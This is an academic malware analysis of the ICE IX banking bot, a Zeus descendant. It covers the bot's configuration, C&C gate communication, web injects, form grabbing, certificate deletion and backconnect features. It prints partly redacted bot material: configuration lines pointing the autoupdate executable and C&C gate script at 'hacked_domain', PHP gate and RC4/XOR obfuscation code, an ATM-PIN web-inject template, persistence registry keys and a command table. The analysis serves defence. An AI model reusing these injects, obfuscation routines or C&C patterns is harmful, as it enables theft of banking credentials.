Inside the ICE IX bot, descendent of Zeus


Aditya K. Sood

Michigan State University, USA

Richard J. Enbody

Michigan Stat University, USA

Rohit Bansal

SecNiche Security Labs, USA
Editor: Helen Martin


Aditya Sood and colleagues present an analysis of ICE IX bot, a descendent of the Zeus bot which demonstrates how one bot can give rise to another.

The ICE IX bot is considered to be a descendent of the Zeus botnet because it uses some of Zeus’s source code. ICE IX communicates using the HTTP protocol, so it can be considered to be a third generation botnet. While it has been used for a variety of purposes, a major threat of ICE IX comes from its manipulation of banking operations on infected machines. As with any bot, infection results in establishing a master-slave relationship between the botmaster and the compromised machine.

Some researchers do not consider ICE IX to be as effective as Zeus [1] – for example because of its code reuse, having fewer features, and so on. ICE IX implements the web injects feature that was the core feature of the Zeus botnet. It also uses some of the interesting code patterns from Zeus’s source. For example, the web injects module has been optimized to work effectively with different browsers. ICE IX implements enhanced driver-mode code to bypass firewalls and protection software without raising any alarms. However, ICE IX is still an interesting target for analysis and in this paper we present an analysis of the ICE IX bot version < =1.2.0 to cover its different functionalities.

The roots of the name ICE IX may lie in literature: William Gibson’s 1984 novel Neuromancer coined the term ‘ICE’, which stood for ‘Intrusion Countermeasure Electronics’, and the central theme of Kurt Vonnegut’s 1963 novel Cat’s Cradle was the ice-nine crystal – which spread to crystallize the water of the world. In the rest of the paper, we will shorten ICE IX to ICE.

ICE bot building and configuration

To configure the ICE bot, several parameters are defined in the file settings.txt. This file contains several sections, each defining various functions of the ICE bot. It is useful to begin with the configuration settings because these expose the bot’s capabilities. The different configuration parameters of the ICE bot are as follows:

  • autoupdate_path: this parameter defines the path of the executable file (hosted in a remote location) that the ICE bot downloads to update itself when configuration parameters change.

  • receiving_script_path: this parameter defines a path to the gateway that the ICE bot uses to connect back to its Command and Control (C&C) server. ICE uses this connection to pass on information extracted from the compromised machines.

  • injects_file: this parameter defines a path to the web injects file which contains rule sets for altering incoming HTTP responses to inject illegitimate content into web pages.

  • DataGrabFilters: this parameter defines filters for grabbing content in web pages.

  • URLRedirects: this parameter defines redirection rules for particular domains, allowing the browser to serve a fake web page when a legitimate domain name is entered in the address bar.

  • MirrorServers: this parameter defines a path for backup servers that store the different configuration files for the ICE bot. If a primary server becomes unavailable, this option acts as a secure failover so the bot can download other versions of configuration files from mirror (backup) servers.

  • URIMasks: this parameter specifies various masks (a.k.a. rules) for customizing operations on different websites. The ‘N’ flag specifies that the ICE bot should not write any data in its reports. The ‘S’ flag instructs the bot to take a screenshot of the web page specified in the URI. The ‘C’ flag instructs the bot to manage the cookie handling support for the masked URI so it can preserve and delete the cookies associated with the domain. The ‘B’ flag blocks access to the website specified in the masked URI.

A simple example of an ICE bot configuration file is presented in Listing 1 below:


  autoupdate_path “http://hacked_domain/bot.exe&rdquo;
  receiving_script_path “http://hacked_domain/script.php&rdquo;
  injects_file “web_injects.txt”

    ; “Http:// *” “passw; login”

     “Http://; “; “GP” “” “”
     URI mask
    “Nhttp: / / * / *”
    “Nhttp: / / / *”
    “S * / / *”
    “S * / / *”
  } }

Listing 1: Example layout of an ICE bot configuration file.

Once the configuration parameters have been defined in the settings file, it’s time for the builder to generate a bot that uses the following specific build parameters:

  • Configuration File – path to the configuration file containing settings parameters.

  • Configuration File Retrieval Time – specifies the time interval to be set for successful retrieval of the configuration file from the server.

  • Statistics Retrieval Time – specifies the time interval for sending information back to the C&C server.

  • Encryption Key – the RC4 encryption key used for encrypting the configuration file.

  • Certification Deletion – deletes certificates from the infected machine after installation of the bot.

  • Disable TCP Operations – stops various TCP servers including SOCKS, VNC, etc. that are used as backconnect servers.

Other configuration parameters exist, but the primary ones are those discussed above. (More detail is provided in the appendix.)

Understanding the gate communication

The gate acts as an interface between the C&C server and the infected machine. The bot connects to the gate, which in turn connects to the C&C server. Thus, the bot does not send information directly to the C&C server, but instead routes it through the intermediate gate. This gate organization provides a more modular architecture and it is possible to host the C&C server on a different domain from the gate. However, the gate and C&C server are usually hosted on the same domain. From a design perspective, gate.php depends on the config.php and global.php files.

Listing 2 shows how the C&C server sends the configuration file (settings.bin) in response to a request from the bot sent through the gate. The bot sends a unique identifier and a computed hash from the infected machine in the HTTP POST parameters. Once the gate receives the information, it executes the custom code in the config.php file. The configuration module then verifies the hash by recomputing it on the server side. This check validates the successful installation and identity of the bot. The configuration module executes an RC4 encryption routine and implements MD5 on the string returned by the RC4 encryption routine. The identifier ($id) is passed as a parameter to the RC4 encryption with the encryption key (rc4Init ($plainkey)) that was established during the installation of the bot. Once the hash is computed, it is verified against the hash transmitted by the bot. If the hashes match, the C&C server serves the settings.bin file over HTTP as an attachment. The file encoding is always defined as binary and is served as plain text content over HTTP. In this way, the configuration file is sent to the bot in the infected machine.

$plainkey=’[Encryption key to be used]’;



function rc4Init($key){-- Redacted --}
function rc4(&$data, $key) {-- Redacted --}


$data=”originalId=$originalId hash=$hash hashtocompare=$hashtocompare\n”;

if ($hashtocompare==$hash)
     header(‘Content-Type: text/plain’);
     header(‘Content-Disposition: attachment; filename=’ . $config_file);
     header(‘Content-Length: ‘ . filesize($config_file));
     header(‘Content-Transfer-Encoding: binary’);

     header($_SERVER[‘SERVER_PROTOCOL’].” 404 Not Found”);

Listing 2: ICE bot configuration module.

Our disassembly of the ICE bot binary yielded results similar to those shown in Listing 2. Figure 1 shows how the ICE bot uses variables ‘bn1’ and ‘sk1’ to extract information from the infected machine. The ‘bn1’ variable holds the unique value of an identifier, while the ‘sk1’ variable holds the hash value.

Parameters extracting ID and hash information.

Figure 1. Parameters extracting ID and hash information.

Figure 2 shows how the ICE bot generates the hash. It implements the CryptHashData and CryptCreateHash functions to handle hash operations. The bot keeps sending HTTP POST requests back to the C&C server to notify it of any updates in the system and to send extracted information. The HTTP POST request sent back to the gate is presented in Listing 3.

Hash generation process.

Figure 2. Hash generation process.

--- Redacted Content ----

POST /private/adm/gate.php HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 
2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)

Connection: Keep-Alive

3..,...0..k..sxp..p...8..|..[ ...AD.<.._.k..”!....\..B..;.)..~MZ.;U..]B.R..`..S....

HTTP/1.1 200 OK
Date: Mon, 11 Jun 2012 03:50:51 GMT
Server: Apache/2.2.14 
Connection: Keep-Alive
Content-Type: text/html


Listing 3: POST request in action.

Another interesting fact is that the bot generates fake HTTP traffic to Whenever the bot sends information back to the gate using HTTP POST requests, it also sends HTTP GET requests to The result is fake traffic so that the HTTP requests look legitimate. Figure 3 shows how the ICE bot generates traffic.

ICE bot traffic

Figure 3. ICE bot traffic

--- Redacted Content ---
if($replyCount > 0)
 $replyData = pack(‘LLLLLLLL’, mt_rand(), mt_rand(), mt_rand(), mt_rand(), mt_rand(), HEADER_SIZE + 
strlen($replyData), 0, $replyCount).md5($replyData, true).$replyData;
 rc4($replyData, $config[‘botnet_cryptkey_bin’]);
 echo $replyData;

function sendEmptyReply()
 $replyData = pack(‘LLLLLLLL’, mt_rand(), mt_rand(), mt_rand(), mt_rand(), mt_rand(), HEADER_SIZE + 
ITEM_HEADER_SIZE, 0, 1).”\x4A\xE7\x13\x36\xE4\x4B\xF9\xBF\x79\xD2\x75\x2E\x23\x48\x18\xA5\0\0\0\0\0\
 rc4($replyData, $GLOBALS[‘config’][‘botnet_cryptkey_bin’]);
 echo $replyData;

function visualEncrypt(&$data)
 $len = strlen($data);
 for($i = 1; $i < $len; $i++)$data[$i] = chr(ord($data[$i]) ^ ord($data[$i - 1]));

function visualDecrypt(&$data)
 $len = strlen($data);
 if($len > 0)for($i = $len - 1; $i > 0; $i--)$data[$i] = chr(ord($data[$i]) ^ ord($data[$i - 1]));

Listing 4: Data obfuscation.

Listing 4 shows some of the obfuscation routines implemented in the ICE bot. When the bot sends information to the gate, the C&C can either send an empty reply or one containing some data, depending on the requirements. When the C&C has to send an empty reply, it simply executes sendEmptyReply. To send a reply containing commands and data, the C&C server queries its database and then replies. The C&C server implements its visualEncrypt function to obfuscate the data, followed by an RC4 encryption routine that uses a predefined crypto key to encrypt the full stream and then sends it back to the bot. On receiving the stream of data, the bot implements the decryption routine to extract the command sent by the C&C server. Listing 5 shows an example of the data transmitted over the wire during communication between the bot and the C&C server.



Listing 5: Obfuscated data – ICE bot communication.

We have now covered the communication model of ICE bot.

ICE bot web injects

ICE bot’s web injects are similar to those used by Zeus and SpyEye, except that they have been redesigned and optimized for better performance. They provide improved functionality to inject data with more successful results. Web injection is a technique in which a bot injects malicious content into the incoming HTTP responses. The injected content tricks the user into entering sensitive information. Details of web injects can be found in [2], [3]. Listing 6 shows the content from a webinjects.txt file used by an ICE bot to trigger injections.

set_url* GL
<div id=”pageIntro” class=”noprint”>

<td id=”sidebar” align=”left” valign=”top” class=”noprint”>

set_url* G
<span class=”mozcloak”><input type=”password”*</span>
<br><strong><label for=”atmpin”>ATM PIN</label>:</strong>&nbsp;<br />
<span class=”mozcloak”><input type=”password” accesskey=”A” id=”atmpin” name=”USpass” size=”13” maxlength=”14” 
style=”width:147px” tabindex=”2” /></span>
----- Redacted Content -----
Listing 6: ICE bot web injects in action.

ICE bot – form grabbing

Form grabbing is another technique implemented by many recent bots. As the name suggests, a bot captures (‘grabs’) all the data in a form when it is submitted using POST requests. This technique is implemented using DLL injection and hooking to implement a man-in-the-middle-style attack within the browser. This attack, known as a man-in-the-browser attack, allows the bot to manipulate the data that is coming in and going out of the system. Form grabbing is a very successful technique for stealing users’ credentials, and all browsers are vulnerable. This is because form grabbing does not exploit any inherent vulnerabilities or design flaws in the browser components; rather it subverts the integrity of running components by hooking different functions in the browser-specific DLLs. Details of the form grabbing technique can be found in [4]. The bot hooks wininet.dll and nspr4.dll to subvert the normal operations of Internet Explorer (IE) and Firefox respectively. Figure 4 shows how the stolen information is stored in the C&C after successful form grabbing.

ICE bot form grabbing in action.

Figure 4. ICE bot form grabbing in action.

Because of where it sits, form grabbing works over both HTTP and HTTPS protocols. In addition to stealing data from forms, a similar tactic can be used to grab .sol files (Flash settings) and cookies. The ICE bot also has special built-in grabbers for particular purposes. For example, it has grabbers to extract the credentials from FTP clients such as FlashFXP, Total Commander, WsFTP, FileZilla, FAR Manager, WinSCP, FTP Commander, CoreFTP, SmartFTP, and from mail clients such as Windows Mail, Live Mail and Outlook.

Self-destructive code

ICE bot implements melting, in which it deletes the dropper program after successful installation. The dropper is the malicious binary that was served during a drive-by download attack. Once it has installed the bot, the dropper is no longer needed so it deletes itself. The dropper can also be thought of as a loader because it loads the ICE bot into the system and then removes its initial footprint.

Figure 5 shows a code snippet extracted during analysis of ICE bot. In this snippet, the program has built-in batch instructions that are executed after dropping the bot. One can see that the ‘del’ command is used with option ‘/F’ that forcefully deletes the files in the directory.

Self-destructive code.

Figure 5. Self-destructive code.

User-Agent detection

Figure 6 shows that the ICE bot uses its ObtainUserAgentString function to retrieve the default User-Agent string used by the browser in the infected system. Using this information, the details of the infected machine are sent back to the C&C server, including the type of operating system, browser and other environment-specific information. This communication allows the botmaster to understand the state of infected machines and to fine-tune the infection.

Extracting User-Agent information.

Figure 6. Extracting User-Agent information.

Certificate deletion process

ICE bot uses a built-in Windows API function to delete certificates from the certificate store. The motive behind deleting the certificates is to remove the encryption implemented on the end points. Primarily, the bot is interested in deleting certificates that are associated with private keys belonging to the user.

This allows the bot to remove the identity and authentication information present in certificates. After this, when a user imports a new certificate, these are captured and stored on the C&C server for later use. The process is executed as follows:

  • ICE bot opens the certificate store using the CertOpenSystemStore API. It typically has two parameters. The important one is szSubsystemProtocol, which defines the name of the store. There are four different attributes associated with the szSubsystemProtocol: CA refers to the certification authority, ROOT refers to the root certificates, SPC refers to the Software Publishing Certificate and MY points to the certificate store that has certificates associated with private keys. ICE bot uses MY szSubsystemProtocol to query the certificate store.

  • Upon successful opening of the store, ICE bot enumerates the list of certificates using CertEnumCertificatesInStore in a loop. Using CertDuplicateCertificateContext, it duplicates the certificate context which contains a handle to the certificate store. This is done to retrieve a handle for each unique certificate individually, by incrementing and decrementing the reference count.

  • Finally, the ICE bot deletes the certificate from the store using CertDeleteCertificateFromStore, and then closes the store using CertCloseStore.

It also implements the PFXExportCertStoreEx function, which exports certificates and associated public keys from the certificate store. Figure 7 shows the certificate deletion process in action.

Deleting certificates from an infected system.

Figure 7. Deleting certificates from an infected system.

Registry check and command execution

When an ICE bot is installed, it modifies the registry settings by creating new registry keys. Listing 7 shows the behaviour of ICE bot pertaining to registry modifications and disk operations.

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run|Microsoft Firevall Engine (Trojan.Agent) -> 
Data: c:\windows\iqs.exe 

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run|Microsoft Firevall Engine (Trojan.Agent) -> 
Data: c:\windows\iqs.exe 

(Trojan.ZbotR.Gen) -> Data: “C:\Documents and Settings\Administrator\Application Data\Fox\bolifa.exe” 

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\
CurrentVersion\Run|Microsoft Firevall Engine (Trojan.Agent) -> Data: c:\windows\iqs.exe 
Listing 7: Registry keys created by ICE bot.

A registry key with the name ‘Microsoft Firevall Engine’ is created, which has an entry in the system startup. It uses a similar naming convention to the Microsoft firewall in order to be less suspicious. However, the bot can generate random binary names and registry keys to increase the complexity. To trigger command execution, the bot executes the inbuilt Windows API to subvert the functionality of the operating system. For example: in rebooting and shutting down the system, the bot uses ExitWindowsEx and InitiateSystemShutdownExW. Figure 8 shows the command execution behaviour.

System shutdown module.

Figure 8. System shutdown module.

Backconnect and supporting modules

Backconnect is an interesting technique that is based on the concept of reverse proxying, in which the reverse proxy agent takes requests from the servers and forwards them to the machines present in the internal network. When the infected system is situated behind a Network Address Translation (NAT) bridge, malware authors implement the backconnect module. The backconnect server hides the identity of the C&C servers on the Internet. It is a stealthy way of sending commands to infected machines inside the network used by C&C servers. The Secure Sockets (SOCKS) protocol is designed specifically to bypass Internet filtering systems and perimeter-level security. SOCKS proxies are considered as a circumvention tool to bypass firewalls and make successful connections using raw TCP sockets. HTTP and SOCKS are used to route communication packets through firewalls. ICE bot implements SOCKS proxy with backconnect support. In addition, it also supports the VNC remote management module. It also implements a screen-capturing module, in which the botmaster defines the rules for capturing screenshots of target websites.


In this paper, we have presented an analysis of the ICE IX bot, a descendent of the Zeus bot. It uses techniques similar to those of Zeus with some modifications and optimizations. The origin of ICE bot demonstrates how one bot can give rise to another, and how botnets – which are still a threat – are evolving to be more robust and effective.


[1] Tarakanov, D. Ice IX: Not Cool At All.

[2] Sood, A.K. (SpyEye & Zeus) Web Injects – Parameters.

[3] Sood, A.K. Botnets and Browser - Brothers in the Ghost Shell.

[4] Sood, A.K.; Enbody, R.J.; Bansal, R. The art of stealing banking information – form grabbing on fire. Virus Bulletin, November 2011, p.19.

Appendix: ICE IX bot commands

bot_uninstallUninstalling bot from the infected machine
bot_updateScanning bot for checking the applied configuration and required updates
bot_update_exeUpdating bot remotely with new configuration
bot_bc_addCreating backconnect connection with the bot
bot_bc_deleteRemoving backconnect connection with the bot
bot_httpinject_disableDisabling web injects functionality of the bot
bot_httpinject_enableEnabling web injects functionality of the bot

Table 1. Bot controlling commands

user_destroyDestroy the infected machine
user_logoffKilling active user session on the infected machine
user_executeDownload and execute remote executable on the infected machine
user_cookies_getExtract the cookies from stored and active browser session
user_cookies_removeDelete the cookies
user_certs_getExtract specific certificate from the infected machine
user_certs_removeDelete certificates from the infected machine
user_url_blockBlock access to a specific domain on the Internet
user_url_unblockUnblock access to a restricted domain
user_homepage_setSet the default home page of the browser
user_flashplayer_getExtract settings of Sol files from the infected machine
user_flashplayer_removeDelete Sol files from the infected machine
os_shutdownShut down infected machine
os_rebootReboot infected machine

Table 2. System manipulation commands.



Latest articles:

Throwback Thursday: CARO: a personal view

As a founding member of CARO (Computer Antivirus Research Organization), Fridrik Skulason was well placed, in August 1994, to shed some light on what might have seemed something of an elitist organisation, and to explain CARO's activities and…

VB2016 paper: Uncovering the secrets of malvertising

Malicious advertising, a.k.a. malvertising, has evolved tremendously over the past few years to take a central place in some of today’s largest web-based attacks. It is by far the tool of choice for attackers to reach the masses but also to target…

VB2016 paper: Building a local passive DNS capability for malware incident response

Many security operations teams struggle with obtaining useful passive DNS data post security breach, and existing well-known external passive DNS collections lack complete visibility to aid analysts in conducting incident response and malware…

Throwback Thursday: Tools of the DDoS Trade

In September 2000, Aleksander Czarnowski took a look at the DDoS tools of the day.

VB2016 paper: Debugging and monitoring malware network activities with Haka

Malware analysts have an arsenal of tools with which to reverse engineer malware but lack the means to monitor, debug and control malicious network traffic. This VB2016 paper proposes the use of Haka, an open source security-oriented language, to…